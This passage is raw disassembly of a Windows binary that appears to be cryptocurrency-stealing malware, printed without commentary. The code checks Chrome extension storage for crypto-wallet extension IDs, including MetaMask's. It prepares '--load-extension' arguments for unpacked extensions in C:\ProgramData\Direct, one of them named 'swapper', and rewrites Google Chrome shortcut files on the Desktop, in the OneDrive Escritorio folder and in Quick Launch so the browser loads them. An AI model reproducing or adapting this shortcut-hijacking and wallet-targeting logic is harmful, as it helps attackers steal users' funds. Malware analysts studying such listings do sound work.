lea rcx, [rsp + 0x8f0]
call fcn.140003920
nop
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 7
jbe 0x14000e67e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e679
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010be2
call fcn.140035dd0
mov qword [rsp + 0x6b0], rsi
mov qword [rsp + 0x6b8], 7
mov word [rsp + 0x6a0], si
mov rdx, qword [rsp + 0x738]
cmp rdx, 7
jbe 0x14000e6e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x720]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e6dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d2a
call fcn.140035dd0
mov qword [rsp + 0x730], rsi
mov qword [rsp + 0x738], 7
mov word [rsp + 0x720], si
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_ibnejdfjmmkpcnlpebklmnkoeoihofec
mov qword [rsp + 0x620], rax
mov qword [rsp + 0x628], 0x59
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x7c0]
call fcn.140003400
nop
lea rax, [rsp + 0x760]
cmp qword [rsp + 0x778], 0xf
cmova rax, qword [rsp + 0x760]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x628], rax
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x700]
call fcn.140003400
nop
lea r8, [rsp + 0x7c0]
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x890]
call fcn.140003920
nop
mov rdx, qword [rsp + 0x718]
cmp rdx, 7
jbe 0x14000e80d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e808
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d30
call fcn.140035dd0
mov qword [rsp + 0x710], rsi
mov qword [rsp + 0x718], 7
mov word [rsp + 0x700], si
mov rdx, qword [rsp + 0x7d8]
cmp rdx, 7
jbe 0x14000e871
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x7c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e86c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d36
call fcn.140035dd0
mov qword [rsp + 0x7d0], rsi
mov qword [rsp + 0x7d8], 7
mov word [rsp + 0x7c0], si
lea rdx, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_egjidjbpglichdcondbcbdnbeeppgdph
lea rcx, [rsp + 0xa0]
call fcn.14001d8f0
nop
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0x660]
call fcn.14001cea0
nop
lea r8, [rsp + 0xa0]
mov rdx, rax
lea rcx, [rsp + 0x8b0]
call fcn.140003920
nop
lea rcx, [rsp + 0x660]
call fcn.140003ab0
nop
lea rcx, [rsp + 0xa0]
call fcn.140003ab0
lea rdx, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_hifafgmccdpekplomjjkcfgodnhcellj
lea rcx, [rsp + 0x6a0]
call fcn.14001d8f0
nop
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0x6e0]
call fcn.14001cea0
nop
lea r8, [rsp + 0x6a0]
mov rdx, rax
lea rcx, [rsp + 0x8d0]
call fcn.140003920
nop
mov r8, qword [rsp + 0x6f8]
cmp r8, 7
jbe 0x14000e953
mov rdx, qword [rsp + 0x6e0]
lea rcx, [rsp + 0x6e0]
call fcn.14001a000
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], 7
mov word [rsp + 0x6e0], si
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 7
jbe 0x14000e9b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e9b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d3c
call fcn.140035dd0
mov qword [rsp + 0x6b0], rsi
mov qword [rsp + 0x6b8], 7
mov word [rsp + 0x6a0], si
lea rcx, [rsp + 0x700]
call fcn.140008d90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x640], xmm0
mov qword [rsp + 0x650], rsi
mov qword [rsp + 0x658], rsi
mov r8d, 0x27
lea rdx, str.__load_extensionC:ProgramDataDirect_
lea rcx, [rsp + 0x640]
call fcn.14001ec30
nop
lea rcx, [rsp + 0x8f0]
call fcn.14000c6c0
movzx ebx, al
lea rcx, [rsp + 0x890]
call fcn.14000c6c0
lea edi, [rbx + 1]
test al, al
cmove edi, ebx
lea rcx, [rsp + 0x8b0]
call fcn.14000c6c0
lea ebx, [rdi + 1]
test al, al
cmove ebx, edi
lea rcx, [rsp + 0x8d0]
call fcn.14000c6c0
lea ecx, [rbx + 1]
test al, al
cmove ecx, ebx
test ecx, ecx
lea rcx, [rsp + 0x8f0]
jne 0x14000f072
call fcn.14000c6c0
test al, al
je 0x14000ebab
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
lea rcx, [rsp + 0x890]
call fcn.14000c6c0
test al, al
je 0x14000ece8
lea rdx, str.ext2
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
lea rcx, [rsp + 0x8b0]
call fcn.14000c6c0
test al, al
je 0x14000ee25
lea rdx, str.ext3
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
lea rcx, [rsp + 0x8d0]
call fcn.14000c6c0
test al, al
je 0x14000ef62
lea rdx, str.ext4
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
lea rdx, str.swapper
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
jmp 0x14000fb94
call fcn.14000c6c0
test al, al
je 0x14000f1b2
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, [0x14006f09c]
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
mov r15d, 1
jmp 0x14000f6aa
lea rcx, [rsp + 0x890]
call fcn.14000c6c0
test al, al
je 0x14000f2fa
lea rdx, str.ext2
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
mov r15d, 2
jmp 0x14000f6aa
lea rcx, [rsp + 0x8b0]
call fcn.14000c6c0
test al, al
je 0x14000f43c
lea rdx, str.ext3
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
jmp 0x14000f6aa
lea rcx, [rsp + 0x8d0]
call fcn.14000c6c0
lea rcx, [rsp + 0x640]
test al, al
je 0x14000f584
lea rdx, str.ext4
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
mov r15d, 4
jmp 0x14000f6aa
lea rdx, str.swapper
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
mov r15d, 5
lea rcx, [rsp + 0x890]
call fcn.14000c6c0
test al, al
je 0x14000f7f1
cmp r15d, 2
je 0x14000f7f1
lea rdx, str._C:ProgramDataDirectext2
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext2
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
lea rcx, [rsp + 0x8b0]
call fcn.14000c6c0
test al, al
je 0x14000f938
cmp r15d, 3
je 0x14000f938
lea rdx, str._C:ProgramDataDirectext3
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext3
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
lea rcx, [rsp + 0x8d0]
call fcn.14000c6c0
test al, al
je 0x14000fa7f
cmp r15d, 4
je 0x14000fa89
lea rdx, str._C:ProgramDataDirectext4
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.ext4
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
cmp r15d, 5
je 0x14000fbb1
lea rdx, str._C:ProgramDataDirect_swapper
lea rcx, [rsp + 0x640]
call fcn.1400137f0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ba90
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000c2b0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x660]
call fcn.140013a50
mov rbx, rax
lea rdx, str.swapper
lea rcx, [rsp + 0x40]
call fcn.140013a10
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000b740
lea rcx, str.nkbihfbeogaeaoehlefnkodbefgpgknn
call fcn.14000c7c0
lea rcx, str.ibnejdfjmmkpcnlpebklmnkoeoihofec
call fcn.14000c7c0
lea rcx, str.egjidjbpglichdcondbcbdnbeeppgdph
call fcn.14000c7c0
lea rcx, str.hifafgmccdpekplomjjkcfgodnhcellj
call fcn.14000c7c0
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rsp + 0x710]
sub rax, rcx
cmp rax, 9
jb 0x140010d42
lea rax, [rsp + 0x700]
cmp qword [rsp + 0x718], 0xf
cmova rax, qword [rsp + 0x700]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x6e0]
call fcn.140025e40
nop
mov r8d, 0x1a
lea rdx, str.DesktopGoogle_Chrome.lnk
lea rcx, [rsp + 0x6e0]
call fcn.1400174d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x740], xmm0
mov qword [rsp + 0x750], rsi
mov qword [rsp + 0x758], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x740], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x750], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x6f8]
cmp rdx, 0xf
jbe 0x14000fce3
inc rdx
mov rcx, qword [rsp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fcde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d48
call fcn.140035dd0
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], 0xf
mov byte [rsp + 0x6e0], 0
mov rax, rbx
mov rcx, qword [rsp + 0x710]
sub rax, rcx
cmp rax, 9
jb 0x140010d4e
lea rax, [rsp + 0x700]
cmp qword [rsp + 0x718], 0xf
cmova rax, qword [rsp + 0x700]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x6a0]
call fcn.140025e40
nop
mov r8d, 0x26
lea rdx, str.OneDriveEscritorioGoogle_Chrome.lnk
lea rcx, [rsp + 0x6a0]
call fcn.1400174d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x780], xmm0
mov qword [rsp + 0x790], rsi
mov qword [rsp + 0x798], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x780], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x790], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 0xf
jbe 0x14000fdf7
inc rdx
mov rcx, qword [rsp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fdf2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010d54
call fcn.140035dd0
mov qword [rsp + 0x6b0], rsi
mov qword [rsp + 0x6b8], 0xf
mov byte [rsp + 0x6a0], 0
mov rcx, qword [rsp + 0x710]
sub rbx, rcx
cmp rbx, 9
jb 0x140010d5a
lea rax, [rsp + 0x700]
cmp qword [rsp + 0x718], 0xf
cmova rax, qword [rsp + 0x700]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x6e0]
call fcn.140025e40
nop
mov r8d, 0x4b
lea rdx, str.AppDataRoamingMicrosoftInternet_ExplorerQuick_LaunchGoogle_Chrome.lnk
lea rcx, [rsp + 0x6e0]
call fcn.1400174d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7a0], xmm0
mov qword [rsp + 0x7b0], rsi
mov qword [rsp + 0x7b8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x7a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x7b0], xmm1
mov qword [rax + 0x10], rsi
